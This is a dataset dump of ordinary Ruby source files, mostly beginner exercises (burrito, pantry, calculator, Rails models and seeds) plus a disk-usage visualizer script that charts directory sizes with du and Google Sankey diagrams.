blob_id
stringlengths 40
40
| language
stringclasses 1
value | repo_name
stringlengths 4
137
| path
stringlengths 2
355
| src_encoding
stringclasses 31
values | length_bytes
int64 11
3.9M
| score
float64 2.52
5.47
| int_score
int64 3
5
| detected_licenses
listlengths 0
49
| license_type
stringclasses 2
values | text
stringlengths 11
3.93M
| download_success
bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
6a3908fba374fbcc0d0cfa4714e0231bc0a22cd8
|
Ruby
|
apalski/crud-with-validations-lab-v-000
|
/app/models/song.rb
|
UTF-8
| 411
| 2.546875
| 3
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain"
] |
permissive
|
class Song < ActiveRecord::Base
validates :title, :artist_name, presence: true
validates_uniqueness_of :title, scope: :release_year
validates :released, inclusion: {in: [true, false]}
validates :release_year, presence: true, if: :is_released?
validates :release_year, numericality: {less_than_or_equal_to: Date.current.year}, if: :is_released?
def is_released?
self.released == true
end
end
| true
|
559dfbbac9e8f2bc0f4bb1cdf127125c884ece25
|
Ruby
|
GeorgieGirl24/backend_mod_1_prework
|
/day_6/exercises/burrito.rb
|
UTF-8
| 1,266
| 3.859375
| 4
|
[] |
no_license
|
# Add the following methods to this burrito class and
# call the methods below the class:
# 1. add_topping
# 2. remove_topping
# 3. change_protein
class Burrito
attr_reader :protein, :base, :toppings
def initialize(protein, base, toppings)
@protein = protein
@base = base
@toppings = toppings
end
def add_topping(*topping)
topping.each do |t|
self.toppings << t
end
self.toppings.sort
# self.toppings << topping
end
def remove_topping(*topping)
topping.each do |t|
self.toppings.delete(t)
end
toppings.sort
# self.toppings.delete(topping)
end
def change_protein(new_protein)
@protein = new_protein.capitalize!
end
def current_dinner
new_dinner = [self.protein, self.base, self.toppings]
end
end
dinner = Burrito.new("Beans", "Rice", ["cheese", "salsa", "guacamole"])
p dinner.protein
p dinner.base
p dinner.toppings
p dinner.add_topping("lettuce")
p dinner.remove_topping("salsa")
p dinner.toppings
p dinner.change_protein("steak")
p dinner.current_dinner
p dinner.add_topping("cilantro", "corn salsa", "jalepano")
p dinner.current_dinner
p dinner.remove_topping("cheese", "cilantro")
p dinner.current_dinner
p dinner.change_protein("chicken")
p dinner.current_dinner
| true
|
068aae0cd133a84018f20c0828fe8232970e60ad
|
Ruby
|
sundayguru/bootcampXV
|
/src/factorial.rb
|
UTF-8
| 120
| 3.296875
| 3
|
[] |
no_license
|
def factorial(number)
return 1 if number <= 1
return number * factorial(number - 1);
end
puts factorial 4
| true
|
f6bbe1d74d002c6f4b6f0b23fbd7385f70a077b8
|
Ruby
|
grosscol/hydra-pcdm
|
/lib/hydra/pcdm/services/collection/get_objects.rb
|
UTF-8
| 600
| 2.703125
| 3
|
[
"Apache-2.0"
] |
permissive
|
module Hydra::PCDM
class GetObjectsFromCollection
##
# Get member objects from a collection in order.
#
# @param [Hydra::PCDM::Collection] :parent_collection in which the child objects are members
#
# @return [Array<Hydra::PCDM::Collection>] all member objects
def self.call( parent_collection )
warn "[DEPRECATION] `Hydra::PCDM::GetObjectsFromCollection` is deprecated. Please use syntax `child_objects = parent_collection.child_objects` instead. This has a target date for removal of 07-31-2015"
parent_collection.child_objects.to_a
end
end
end
| true
|
add2402034191d24cd62cdef89db406f83991596
|
Ruby
|
eulis01/debugging-with-pry-onl01-seng-pt-041320
|
/lib/pry_debugging.rb
|
UTF-8
| 63
| 2.625
| 3
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain"
] |
permissive
|
def plus_two(num)
(num + 2)
num = (num + 2)
end
plus_two(3)
| true
|
c2ee07b0fbe12b56757fba07cd2b6532c3f9af40
|
Ruby
|
alexhawkins/query
|
/db/seeds.rb
|
UTF-8
| 1,861
| 2.78125
| 3
|
[] |
no_license
|
require 'faker'
# Create Users
5.times do
user = User.new(
name: Faker::Name.name,
email: Faker::Internet.email,
password: 'helloworld'
)
user.skip_confirmation!
user.save
end
users = User.all
# Create Topics
20.times do
Topic.create(
title: Faker::Commerce.color,
about: Faker::Lorem.paragraph
)
end
topics = Topic.all
50.times do
Question.create(
user: users.sample,
title: Faker::Lorem.sentence,
body: Faker::Lorem.paragraph
)
end
questions = Question.all
# Create Answers by picking a random question to associate with each question
100.times do
answer = Answer.create(
user: users.sample,
question: questions.sample,
body: Faker::Lorem.paragraph
)
end
# create n number of votes for answer
# 10.times do
# val = Random.new.rand(-1..1)
# val = val == 0 ? 1 : val
# vote = answer.answer_votes.create(
# value: val,
# user: users.sample
# )
# end
#end
100.times do
QuestionTopic.create(
topic: topics.sample,
question: questions.sample
)
end
#modify one user which you can use to login
# Create an admin user
admin = User.new(
name: 'Admin User',
email: 'admin@example.com',
password: 'helloworld',
role: 'admin'
)
admin.skip_confirmation!
admin.save
# Create a moderator
moderator = User.new(
name: 'Moderator User',
email: 'moderator@example.com',
password: 'helloworld',
role: 'moderator'
)
moderator.skip_confirmation!
moderator.save
# Create a member
member = User.new(
name: 'Member User',
email: 'member@example.com',
password: 'helloworld',
)
member.skip_confirmation!
member.save
puts "Seed finished"
puts "#{QuestionTopic.count} question topics created"
puts "#{User.count} users created"
puts "#{Topic.count } topics created"
puts "#{Question.count} questions created"
puts "#{Answer.count} answer created"
| true
|
013fcc41f188a777dab8f86918902539a62cc1dc
|
Ruby
|
rlcoble/learn_ruby
|
/testing/intro/02_calculator/calculator.rb
|
UTF-8
| 416
| 3.5625
| 4
|
[] |
no_license
|
def add(first,second)
first+second
end
def subtract(first,second)
first-second
end
def sum(array)
total = 0
array.each do |item|
total += item
end
total
end
def multiply(array)
total = 1
array.each do |item|
total *= item
end
total
end
def power(first,second)
first**second
endn
def factorial(num)
total = 1
if(num<=1)
total = 1
else
(1..num).each do |i|
total*=i
end
end
total
end
| true
|
10533b8112e4d498994029786a5cc24700d8d8dc
|
Ruby
|
IanDCarroll/deleteMe
|
/spec/acceptance_spec.rb
|
UTF-8
| 747
| 2.890625
| 3
|
[
"MIT"
] |
permissive
|
require 'rspec/given'
require 'ian_strscan'
describe 'Acceptance Test' do
Given(:s) { IanStrscan.new('This is an example string') }
Then { false == s.eos? }
And { "This" == s.scan(/\w+/) }
And { nil == s.scan(/\w+/) }
And { " " == s.scan(/\s+/) }
And { nil == s.scan(/\s+/) }
And { "is" == s.scan(/\w+/) }
And { false == s.eos? }
And { " " == s.scan(/\s+/) }
And { "an" == s.scan(/\w+/) }
And { " " == s.scan(/\s+/) }
And { "example" == s.scan(/\w+/) }
And { " " == s.scan(/\s+/) }
And { "string" == s.scan(/\w+/) }
And { true == s.eos? }
And { nil == s.scan(/\s+/) }
And { nil == s.scan(/\w+/) }
end
| true
|
3b67f40102bcf6b9313a6fa13d73c026254639a3
|
Ruby
|
anand180/nick-tictactoe-server
|
/spec/creators/move_creator.rb
|
UTF-8
| 555
| 2.65625
| 3
|
[] |
no_license
|
module MoveCreator
def self.add_three_non_winning_moves(game:)
type = game.x_first ? 'x' : 'o'
class << type
@@counter = 0
def switch
type = @@counter.even? ? 'o' : 'x'
@@counter += 1; type
end
end
Move.create(game_id: game.id, player_id: game.send("#{type}_player_id"), position: 0)
Move.create(game_id: game.id, player_id: game.send("#{type.switch}_player_id"), position: 1)
Move.create(game_id: game.id, player_id: game.send("#{type.switch}_player_id"), position: 2)
end
end
| true
|
dfddd91c515ca9b6e88c869b9e2faba7bb0e1082
|
Ruby
|
emacca/wdi_sydney_3
|
/students/eduard_fastovski/w1d2/simplecalc_doesnt_loop.rb
|
UTF-8
| 1,302
| 4.28125
| 4
|
[] |
no_license
|
# this doesnt work. until command == "q" do
puts "Please type 'A' for addition, 'S' for subtraction 'M' for multiplication and 'D' for division. 'P' for Power. /n Press q to quit."
command = gets.chomp
def add(a, b)
puts "The answer is #{a+b}"
end
def sub(a, b)
puts "The answer is #{a-b}"
end
def mul(a, b)
puts "The answer is #{a*b}"
end
def div(a, b)
puts "The answer is #{a/b}"
end
def power(a, b)
puts "The answer is #{a**b}"
end
if command == 'A'
puts "Enter first value"
value1 = gets.chomp.to_i
puts "Enter second value"
value2 = gets.chomp.to_i
add(value1, value2)
end
if command == 'S'
puts "Enter first value"
value1 = gets.chomp.to_i
puts "Enter second value"
value2 = gets.chomp.to_i
sub(value1, value2)
end
if command == 'M'
puts "Enter first value"
value1 = gets.chomp.to_i
puts "Enter second value"
value2 = gets.chomp.to_i
mul(value1, value2)
end
if command == 'D'
puts "Enter first value"
value1 = gets.chomp.to_i
puts "Enter second value"
value2 = gets.chomp.to_i
div(value1, value2)
end
if command == 'P'
puts "Enter first value"
value1 = gets.chomp.to_i
puts "Enter second value"
value2 = gets.chomp.to_i
power(value1, value2)
end
if command == "q"
exit
end
#end
| true
|
4144c18e20140c41fbbab2bb16000b3208d8c721
|
Ruby
|
WHomer/pantry_03
|
/lib/pantry.rb
|
UTF-8
| 753
| 3.546875
| 4
|
[] |
no_license
|
require './lib/recipe'
require './lib/ingredient'
class Pantry
attr_reader :stock
def initialize
@stock = {}
end
def stock_check(input_ingredient)
result = @stock.find{|ingredient| ingredient[0] == input_ingredient}
return 0 if result.nil?
result.last
end
def restock(input_ingredient, quantity)
@stock[input_ingredient] = 0 if @stock[input_ingredient].nil?
@stock[input_ingredient] += quantity
end
def test_enough_ingredients_for?(recipe)
recipe.list_of_ingredients.each do |ingredient|
quantity_for_recipe = recipe.quantity_of_ingredient(ingredient)
quantity_in_stock = stock_check(ingredient)
return false if quantity_for_recipe > quantity_in_stock
end
return true
end
end
| true
|
2f7efc59eb22bf828dd84c03611f6578253bb9c9
|
Ruby
|
kanevk/Core-Ruby-1
|
/week5/1-meta/solution_test.rb
|
UTF-8
| 2,140
| 3.40625
| 3
|
[
"MIT"
] |
permissive
|
require 'minitest/autorun'
require_relative 'solution'
class SolutionTest < MiniTest::Unit::TestCase
class Try
private_attr_accessor :a, :b
protected_attr_accessor :c, :d
cattr_accessor(:clas, :empty){"NO"}
@@clas = 42
def initialize()
@a, @b, @c, @d = 1, 2, 3, 4
end
def try_pirvate
a = 10
"#{a} #{b}"
end
def try_protected
self.c = 10
"#{c} #{d}"
end
end
class A
end
def test_singleton_class
test1 = A.define_singleton_class
assert_equal(A.singleton_class, test1)
end
def test_def_singleton_method
A.define_singleton_method(:shoot) do |a, b|
"#{a} #{b}"
end
assert_equal(A.shoot("one", "gun"), "one gun")
end
def test_to_proc
test1 = [2, 3, 4, 5].map(&'succ.succ')
proc = "upcase.downcase.upcase.to_sym".to_proc
test2 = proc.call("yes")
assert_equal(:YES, test2)
assert_equal([4, 5, 6, 7], test1)
end
def test_private
assert_equal("10 2", Try.new.try_pirvate)
end
def test_protected
assert_equal(Try.new.try_protected, "10 4")
end
def test_class_vars
assert_equal(Try.clas, 42)
assert_equal(Try.empty, "NO")
Try.empty = 43
assert_equal(Try.empty, 43)
end
def test_NilPatch
assert_equal(nil.succ.dfgdfg.dfgdfg, nil)
assert_equal(nil.respond_to?(:aaaa), true)
end
def base_proxy
proxy = Proxy.new [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
end
def class_proxy
Proxy
end
def test_proxy_call_method_static
proxy = base_proxy
assert_equal(1, proxy[0])
end
def test_proxy_repond_to
proxy = base_proxy
assert_equal(true, proxy.respond_to?(:to_h))
assert_equal(false, proxy.respond_to?(:afdssdd))
end
User = Struct.new(:first_name, :last_name)
class Invoce
delegate(:fist_name, to: '@user')
delegate(:last_name, to: '@user')
def initialize(user)
@user = user
end
end
def test_delegate
user = User.new 'Genadi', 'Samokovarov'
invoice = Invoce.new(user)
assert_equal('Genadi', invoice.fist_name)
assert_equal('Samokovarov', invoice.last_name)
end
end
| true
|
09aab5171d264f61d392f5ac54eff5a7c857d180
|
Ruby
|
yb66/english-words
|
/scripts/cleanup.rb
|
UTF-8
| 438
| 3.296875
| 3
|
[] |
no_license
|
# This script makes sure that each entry is unique and lowercase.
require 'pathname'
DEFAULT_DATA = Pathname(__dir__).join("../words3.txt")
data = ARGV[0] && Pathname(ARGV[0]) || DEFAULT_DATA
xs = IO.readlines(data.realpath);
ys = xs.sort
.map(&:chomp)
.map(&:downcase)
.inject([]){|mem,obj|
mem.last == obj ?
mem :
mem << obj
}
IO.write(data.realpath, ys.join("\n"))
| true
|
8d367ce0fb6d95787e4f3ec91253152f93029a07
|
Ruby
|
lisavogtsf/gluten_free
|
/people.rb
|
UTF-8
| 3,684
| 4
| 4
|
[] |
no_license
|
# Lisa Vogt
# August 13, 2014
# * Create a Person class. A person will have a stomach and allergies
# * Create a method that allows the person to eat and add arrays of ingredients to their stomachs
# * If a food array contains a known allergy reject the food.
# When a person attempts to eat a food they are allergic to, tell them `AllergyError`
# Bonus: When a person attempts to eat a food they are allergic to, ... remove ALL the food from the person's stomach before telling them AllergyError
# Run at the command line, $ ruby people.rb name
class Person
attr_accessor :name, :allergies, :stomach
def initialize(name, allergies)
@name = name
@allergies = allergies
@stomach = []
end
def diet
if @allergies.length == 0
puts "#{@name} eats everything"
else
puts "#{@name} is allergic to #{@allergies.join(" and ")}"
end
end
def eat(food)
# add arrays of food to stomach
@stomach.push(food)
end
def digest
# #works on current contents of stomach
# puts "Digesting ..."
# puts self.stomach
stomach.each do |food|
# puts food
food.each do |ingredient|
# puts "Just an ingredient: #{ingredient}"
allergies.each do |allergen|
if ingredient == allergen
@stomach = []
puts "------Oh no! #{@name} puked!"
puts "------AllergyError: #{ingredient}"
# need to empty stomach and break loops
break
end
end
end
end
end
end
## Tester text
## People
friends = []
monica = Person.new("Monica", ["gluten", "lactose"])
friends.push(monica)
rachel = Person.new("Rachel", ["lactose"])
friends.push(rachel)
ross = Person.new("Ross", ["scallops", "gluten"])
friends.push(ross)
joey = Person.new("Joey", [])
friends.push(joey)
chandler = Person.new("Chandler", ["scallops", "lactose", "tomatoes"])
friends.push(chandler)
puts "Five friends are going out to dinner, but they have some dietary restrictions: "
friends.each do |friend|
friend.diet
end
puts "----"
## Foods
dishes = []
dish_names = []
pizza = ["cheese", "lactose", "crust", "gluten", "tomatoes"]
dishes.push(pizza)
dish_names.push("pizza")
pan_seared_scallops = ["scallops", "lemons", "olive oil"]
dishes.push(pan_seared_scallops)
dish_names.push("pan_seared_scallops")
caprese_salad = ["tomatoes", "olive oil", "cheese", "lactose"]
dishes.push(caprese_salad)
dish_names.push("caprese_salad")
scallops_and_spaghetti = ["scallops", "olive oil", "pasta", "gluten"]
dishes.push(scallops_and_spaghetti)
dish_names.push("scallops_and_spaghetti")
water = ["h", "h", "o"]
dishes.push(water)
dish_names.push("water")
## Can't seem to print out the names of the dishes, just the ingredients?
# possibly mixing up array and hash
# puts "On the menu there are the following dishes: "
# puts dishes.join(", ")
# for num in (0..friends.length) do
# puts num
# puts dishes[num]
# end
# Focus person orders
# ARGV want 0 - 4 or 0
focus_num = ARGV[0].to_i % friends.length || 0
focus_person = friends[focus_num]
puts "#{focus_person.name} is ordering for everyone"
# puts "#{focus_person.name} orders randomly, and "
order = rand(10) % 5
# puts order
puts "#{focus_person.name} orders the #{dish_names[order]}"
puts "----"
# person eats it, results
puts "Everybody eats the dish. Results?"
friends.each do |friend|
puts "#{friend.name} eats the #{dish_names[order]}"
friend.eat(dishes[order])
friend.digest
end
| true
|
4abc613018ccf2f5f1b9948900329fbdf0f9685f
|
Ruby
|
teecay/StorageVisualizer
|
/lib/storage_visualizer.rb
|
UTF-8
| 18,166
| 2.8125
| 3
|
[] |
no_license
|
#!/usr/bin/env ruby
# @author Terry Case <terrylcase@gmail.com>
# Copyright 2015 Terry Case
#
# Licensed under the Creative Commons, Version 3.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://creativecommons.org/licenses/by/3.0/us/
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'pp'
require 'yaml'
require 'date'
require 'uri'
require 'cgi'
require 'json'
class DirNode
attr_accessor :parent
attr_accessor :dir_name
attr_accessor :dir_short
attr_accessor :size_gb
attr_accessor :children
def initialize(parent_in, dir_name_in, dir_short_in, size_gb_in)
self.parent = parent_in
self.dir_name = dir_name_in
self.dir_short = dir_short_in
self.size_gb = size_gb_in
self.children = []
end
end
class StorageVisualizer
# Static
def self.print_usage
puts "\nThis tool helps visualize which directories are occupying the most storage. Any directory that occupies more than 5% of disk space is added to a visual hierarchichal storage report in the form of a Google Sankey diagram. The storage data is gathered using the linux `du` utility. It has been tested on Mac OSX, should work on linux systems, will not work on Windows. Run as sudo if analyzing otherwise inaccessible directories. May take a while to run\n"
puts "\nCommand line usage: \n\t[sudo] storage_visualizer[.rb] [directory to visualize (default ~/) | -h (help) -i | --install (install to /usr/local/bin)]\n\n"
puts "API usage: "
puts "\tgem install storage_visualizer"
puts "\t'require storage_visualizer'"
puts "\tsv = StorageVisualizer.new('[directory to visualize, ~/ by default]')"
puts "\tsv.run()\n\n"
puts "A report will be created in the current directory named as such: StorageReport_2015_05_25-17_19_30.html"
puts "Status messages are printed to STDOUT"
puts "\n\n"
end
def self.install
# This function installs a copy & symlink into /usr/local/bin, so the utility can simply be run by typing `storage_visualizer`
# To install for command line use type:
# git clone https://github.com/teecay/StorageVisualizer.git && ./StorageVisualizer/storage_visualizer.rb --install
# To install for gem usage type:
# gem install storage_visualizer
script_src_path = File.expand_path(__FILE__) # File.expand_path('./StorageVisualizer/lib/storage_visualizer.rb')
script_dest_path = '/usr/local/bin/storage_visualizer.rb'
symlink_path = '/usr/local/bin/storage_visualizer'
if (!File.exist?(script_src_path))
raise "Error: file does not exist: #{script_src_path}"
end
if (File.exist?(script_dest_path))
puts "Removing old installed script"
File.delete(script_dest_path)
end
if (File.exist?(symlink_path))
puts "Removing old symlink"
File.delete(symlink_path)
end
cp_cmd = "cp -f #{script_src_path} #{script_dest_path}"
puts "Copying script into place: #{cp_cmd}"
`#{cp_cmd}`
ln_cmd = "ln -s #{script_dest_path} #{symlink_path}"
puts "Installing: #{ln_cmd}"
`#{ln_cmd}`
chmod_cmd = "chmod ugo+x #{symlink_path}"
puts "Setting permissions: #{chmod_cmd}"
`#{chmod_cmd}`
puts "Installation is complete, run `storage_visualizer -h` for help"
end
# To do:
# x Make it work on mac & linux (CentOS & Ubuntu)
# x Specify blocksize and do not assume 512 bytes (use the -k flag, which reports blocks as KB)
# x Enable for filesystems not mounted at the root '/'
# - Allow the threshold to be specified (default is 5%)
# - Allow output filename to be specified
# Maybe:
# x Prevent paths on the graph from crossing (dirs with the same name become the same node)
# - See if it would be cleaner to use the googlecharts gem (gem install googlecharts)
# disk Bytes
attr_accessor :capacity
attr_accessor :used
attr_accessor :available
# disk GB for display
attr_accessor :capacity_gb
attr_accessor :used_gb
attr_accessor :available_gb
# other
attr_accessor :target_dir
attr_accessor :tree
attr_accessor :tree_formatted
attr_accessor :diskhash
attr_accessor :threshold_pct
attr_accessor :target_volume
attr_accessor :dupe_counter
# this is the root DirNode object
attr_accessor :dir_tree
# Constructor
def initialize(target_dir_passed = nil)
if (target_dir_passed != nil)
expanded = File.expand_path(target_dir_passed)
# puts "Target dir: #{expanded}"
if (Dir.exist?(expanded))
self.target_dir = expanded
else
raise "Target directory does not exist: #{expanded}"
end
else
# no target passed, use the user's home dir
self.target_dir = File.expand_path('~')
end
# how much space is considered worthy of noting on the chart
self.threshold_pct = 0.05
self.diskhash = {}
self.tree = []
self.tree_formatted = ''
self.dupe_counter = 0
end
def format_data_for_the_chart
# Build the list of nodes
nodes = []
nodes.push(self.dir_tree)
comparison_list = []
while true
if (nodes.length == 0)
break
end
node = nodes.shift
comparison_list.push(node)
nodes.concat(node.children)
end
# format the data for the chart
working_string = "[\n"
comparison_list.each_with_index do |entry, index|
if (entry.parent == nil)
next
end
if(index == comparison_list.length - 1)
# this is the next to last element, it gets no comma
working_string << "[ '#{entry.parent.dir_short}', '#{entry.dir_short}', #{entry.size_gb} ]\n"
else
# mind the comma
working_string << "[ '#{entry.parent.dir_short}', '#{entry.dir_short}', #{entry.size_gb} ],\n"
end
end
working_string << "]\n"
self.tree_formatted = working_string
end
def write_storage_report
the_html = %q|<html>
<body>
<script type="text/javascript"
src="https://www.google.com/jsapi?autoload={'modules':[{'name':'visualization','version':'1.1','packages':['sankey']}]}">
</script>
<style>
td
{
font-family:sans-serif;
font-size:8pt;
}
.bigger
{
font-family:sans-serif;
font-size:10pt;
font-weight:bold
}
</style>
<div class="table">
<div class="bigger">Storage Report</div>
<table>
<tr>
<td style="text-align:right">Disk Capacity:</td><td>| + self.capacity_gb + %q| GB</td>
</tr>
<tr>
<td style="text-align:right">Disk Used:</td><td>| + self.used_gb + %q| GB</td>
</tr>
<tr>
<td style="text-align:right">Free Space:</td><td>| + self.available_gb + %q| GB</td>
</tr>
</table>
</div>
<div id="sankey_multiple" style="width: 900px; height: 300px;"></div>
<script type="text/javascript">
google.setOnLoadCallback(drawChart);
function drawChart() {
var data = new google.visualization.DataTable();
data.addColumn('string', 'From');
data.addColumn('string', 'To');
data.addColumn('number', 'Size (GB)');
data.addRows( | + self.tree_formatted + %q|);
// Set chart options
var options = {
width: 1000,
sankey: {
iterations: 32,
node: { label: {
fontName: 'Arial',
fontSize: 10,
color: '#871b47',
bold: false,
italic: true } } },
};
// Instantiate and draw our chart, passing in some options.
var chart = new google.visualization.Sankey(document.getElementById('sankey_multiple'));
chart.draw(data, options);
}
</script>
</body>
</html>|
filename = DateTime.now.strftime("./StorageReport_%Y_%m_%d-%H_%M_%S.html")
puts "Writing html file #{filename}"
f = File.open(filename, 'w+')
f.write(the_html)
f.close
end
def get_basic_disk_info
# df -l gets info about locally-mounted filesystems
output = `df -k`
# OSX:
# Filesystem 1024-blocks Used Available Capacity iused ifree %iused Mounted on
# /dev/disk1 975912960 349150592 626506368 36% 87351646 156626592 36% /
# localhost:/QwnJE6UBvlR1EvqouX6gMM 975912960 975912960 0 100% 0 0 100% /Volumes/MobileBackups
# CentOS:
# Filesystem 1K-blocks Used Available Use% Mounted on
# /dev/xvda1 82436764 3447996 78888520 5% /
# devtmpfs 15434608 56 15434552 1% /dev
# tmpfs 15443804 0 15443804 0% /dev/shm
# Ubuntu:
# Filesystem 1K-blocks Used Available Use% Mounted on
# /dev/xvda1 30832636 797568 28676532 3% /
# none 4 0 4 0% /sys/fs/cgroup
# udev 3835900 12 3835888 1% /dev
# tmpfs 769376 188 769188 1% /run
# none 5120 0 5120 0% /run/lock
# none 3846876 0 3846876 0% /run/shm
# none 102400 0 102400 0% /run/user
# /dev/xvdb 30824956 45124 29207352 1% /mnt
# Populate disk info into a hash of hashes
# {"/"=>
# {"capacity"=>498876809216, "used"=>434777001984, "available"=>63837663232},
# "/Volumes/MobileBackups"=>
# {"capacity"=>498876809216, "used"=>498876809216, "available"=>0}
# }
# get each mount's capacity & utilization
output.lines.each_with_index do |line, index|
if (index == 0)
# skip the header line
next
end
cols = line.split
# ["Filesystem", "1024-blocks", "Used", "Available", "Capacity", "iused", "ifree", "%iused", "Mounted", "on"]
# line: ["/dev/disk1", "974368768", "849157528", "124699240", "88%", "106208689", "15587405", "87%", "/"]
if cols.length == 9
# OSX
self.diskhash[cols[8]] = {
'capacity' => (cols[1].to_i ).to_i,
'used' => (cols[2].to_i ).to_i,
'available' => (cols[3].to_i ).to_i
}
elsif cols.length == 6
# Ubuntu & CentOS
self.diskhash[cols[5]] = {
'capacity' => (cols[1].to_i ).to_i,
'used' => (cols[2].to_i ).to_i,
'available' => (cols[3].to_i ).to_i
}
else
raise "Reported disk utilization not understood"
end
end
# puts "Disk mount info:"
# pp diskhash
# find the (self.)target_volume
# look through diskhash keys, to find the one that most matches target_dir
val_of_min = 1000
# puts "Determining which volume contains the target directory.."
self.diskhash.keys.each do |volume|
result = self.target_dir.gsub(volume, '')
diskhash['match_amt'] = result.length
# puts "Considering:\t#{volume}, \t closeness: #{result.length}, \t (#{result})"
if (result.length < val_of_min)
# puts "Candidate: #{volume}"
val_of_min = result.length
self.target_volume = volume
end
end
puts "Target volume is #{self.target_volume}"
self.capacity = self.diskhash[self.target_volume]['capacity']
self.used = self.diskhash[self.target_volume]['used']
self.available = self.diskhash[self.target_volume]['available']
self.capacity_gb = "#{'%.0f' % (self.capacity.to_i / 1024 / 1024)}"
self.used_gb = "#{'%.0f' % (self.used.to_i / 1024 / 1024)}"
self.available_gb = "#{'%.0f' % (self.available.to_i / 1024 / 1024)}"
self.dir_tree = DirNode.new(nil, self.target_volume, self.target_volume, self.capacity)
self.dir_tree.children.push(DirNode.new(self.dir_tree, 'Free Space', 'Free Space', self.available_gb))
end
# Crawl the dirs recursively, beginning with the target dir
def analyze_dirs(dir_to_analyze, parent)
# bootstrap case
# don't create an entry for the root because there's nothing to link to yet, scan the subdirs
if (dir_to_analyze == self.target_volume)
# puts "Dir to analyze is the target volume"
# run on all child dirs, not this dir
Dir.entries(dir_to_analyze).reject {|d| d.start_with?('.')}.each do |name|
# puts "\tentry: >#{file}<"
full_path = File.join(dir_to_analyze, name)
if (Dir.exist?(full_path) && !File.symlink?(full_path))
# puts "Contender: >#{full_path}<"
analyze_dirs(full_path, self.dir_tree)
end
end
return
end
# use "P" to help prevent following any symlinks
cmd = "du -sxkP \"#{dir_to_analyze}\""
puts "\trunning #{cmd}"
output = `#{cmd}`.strip().split("\t")
# puts "Du output:"
# pp output
size = output[0].to_i
size_gb = "#{'%.0f' % (size.to_f / 1024 / 1024)}"
# puts "Size: #{size}\nCapacity: #{self.diskhash['/']['capacity']}"
# Occupancy as a fraction of total space
# occupancy = (size.to_f / self.capacity.to_f)
# Occupancy as a fraction of USED space
occupancy = (size.to_f / self.used.to_f)
occupancy_pct = "#{'%.0f' % (occupancy * 100)}"
capacity_gb = "#{'%.0f' % (self.capacity.to_f / 1024 / 1024)}"
# if this dir contains more than 5% of disk space, add it to the tree
if (dir_to_analyze == self.target_dir)
# puts "Dir to analyze is the target dir, space used outside this dir.."
# account for space used outside of target dir
other_space = self.used - size
other_space_gb = "#{'%.0f' % (other_space / 1024 / 1024)}"
parent.children.push(DirNode.new(parent, self.target_volume, 'Other Space', other_space_gb))
end
if (occupancy > self.threshold_pct)
# puts "Dir contains more than 5% of disk space: #{dir_to_analyze} \n\tsize:\t#{size_gb} / \ncapacity:\t#{capacity_gb} = #{occupancy_pct}%"
puts "Dir contains more than 5% of used disk space: #{dir_to_analyze} \n\tsize:\t\t#{size_gb} / \n\toccupancy:\t#{self.used_gb} = #{occupancy_pct}% of used space"
# puts "Dir to analyze (#{dir_to_analyze}) is not the target dir (#{self.target_dir})"
dirs = dir_to_analyze.split('/')
short_dir = dirs.pop().gsub("'","\\\\'")
full_parent = dirs.join('/')
if (dir_to_analyze == self.target_dir || full_parent == self.target_volume)
# puts "Either this dir is the target dir, or the parent is the target volume, make parent the full target volume"
short_parent = self.target_volume.gsub("'","\\\\'")
else
# puts "Neither this dir or parent is the target dir, making parent short"
short_parent = dirs.pop().gsub("'","\\\\'")
end
this_node = DirNode.new(parent, dir_to_analyze, short_dir, size_gb)
parent.children.push(this_node)
# run on all child dirs
Dir.entries(dir_to_analyze).reject {|d| d.start_with?('.')}.each do |name|
full_path = File.join(dir_to_analyze, name)
# don't follow any symlinks
if (Dir.exist?(full_path) && !File.symlink?(full_path))
# puts "Contender: >#{full_path}<"
analyze_dirs(full_path, this_node)
end
end
end # occupancy > threshold
end # function
def traverse_tree_and_remove_duplicates
puts "\nHandling duplicate entries.."
nodes = []
nodes.push(self.dir_tree)
comparison_list = []
while true
if (nodes.length == 0)
break
end
node = nodes.shift
comparison_list.push(node)
# pp node
if node.parent == nil
# puts "\tparent: no parent \n\tdir: #{node.dir_name} \n\tshort: #{node.dir_short} \n\tsize: #{node.size_gb}"
else
# puts "\tparent: #{node.parent.dir_short.to_s} \n\tdir: #{node.dir_name} \n\tshort: #{node.dir_short} \n\tsize: #{node.size_gb}"
end
nodes.concat(node.children)
end
# puts "Done building node list"
for i in 0..comparison_list.length do
for j in 0..comparison_list.length do
if (comparison_list[i] != nil && comparison_list[j] != nil)
if (i != j && comparison_list[i].dir_short == comparison_list[j].dir_short)
puts "\t#{comparison_list[i].dir_short} is the same as #{comparison_list[j].dir_short}, changing to #{comparison_list[j].dir_short}*"
comparison_list[j].dir_short = "#{comparison_list[j].dir_short}*"
end
end
end
end
puts "Duplicate handling complete"
end
def run
self.get_basic_disk_info
self.analyze_dirs(self.target_dir, self.dir_tree)
self.traverse_tree_and_remove_duplicates
self.format_data_for_the_chart
self.write_storage_report
end
end
def run
if (ARGV.length > 0)
if (ARGV[0] == '-h')
StorageVisualizer.print_usage()
return
elsif (ARGV[0] == '-i' || ARGV[0] == '--install')
StorageVisualizer.install
StorageVisualizer.print_usage
return
end
vs = StorageVisualizer.new(ARGV[0])
else
vs = StorageVisualizer.new()
end
# puts "\nRunning visualization"
vs.run()
# puts "dumping tree: "
# pp vs.tree
# puts "Formatted tree\n#{vs.tree_formatted}"
end
# Detect whether being called from command line or API. If command line, run
if (File.basename($0) == File.basename(__FILE__))
# puts "Being called from command line - running"
run
else
# puts "#{__FILE__} being loaded from API, not running"
end
| true
|
5458519e8b63bce252b9242cc0e7923b55090385
|
Ruby
|
davidhuff2014/testproject
|
/good_dog.rb
|
UTF-8
| 427
| 3.796875
| 4
|
[] |
no_license
|
module Speak
def speak(sound)
puts "#{sound}"
end
end
# defines a good dog
class GoodDog
include Speak
end
# what people do too much of
class HumanBeing
include Speak
end
# sparky = GoodDog.new
# sparky.speak('Arf!')
# bob = HumanBeing.new
# bob.speak('Hello!')
puts '--- GoodDog ancestors---'
puts GoodDog.ancestors
puts ''
puts '---HumanBeing ancestors---'
puts HumanBeing.ancestors
